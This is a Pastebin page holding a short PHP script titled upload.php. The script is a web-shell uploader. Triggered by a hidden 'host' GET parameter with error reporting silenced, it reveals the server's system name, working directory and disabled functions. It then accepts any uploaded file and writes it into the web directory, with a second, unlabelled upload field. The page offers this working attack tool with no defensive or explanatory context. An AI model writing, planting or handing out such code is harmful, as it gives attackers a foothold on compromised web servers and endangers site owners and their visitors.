Advertisement
PalmaSolutions

upload.php

Jul 27th, 2019
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.72 KB | None | 0 0
  1. <center>
  2. <?php
  3. error_reporting(0);
  4. if(isset($_GET[host]))
  5.     {
  6.         echo"<font color=#FFFFFF>[uname]".php_uname()."[/uname]<br>";
  7.         echo "<font color=#FFFFFF>[pwd]".getcwd()."[/pwd]<br>";
  8.         print "\n";$disable_functions = @ini_get("disable_functions");
  9.         echo "DisablePHP=".$disable_functions; print "<br>";
  10.         echo"<form method=post enctype=multipart/form-data>";
  11.         echo"<input type=file name=f><input name=v type=submit id=v value=up><br>";
  12.           if($_POST["v"]==up)
  13. { if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"<b>Ok</b>-->".$_FILES["f"]["name"];}else{echo"<b>error";}}  
  14. { if(@copy($_FILES["emad"]["tmp_name"],$_FILES["emad"]["name"])){echo"<b></b>-->".$_FILES["emad"]["name"];}else{echo"<b>";}}} ?>
  15. </center>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement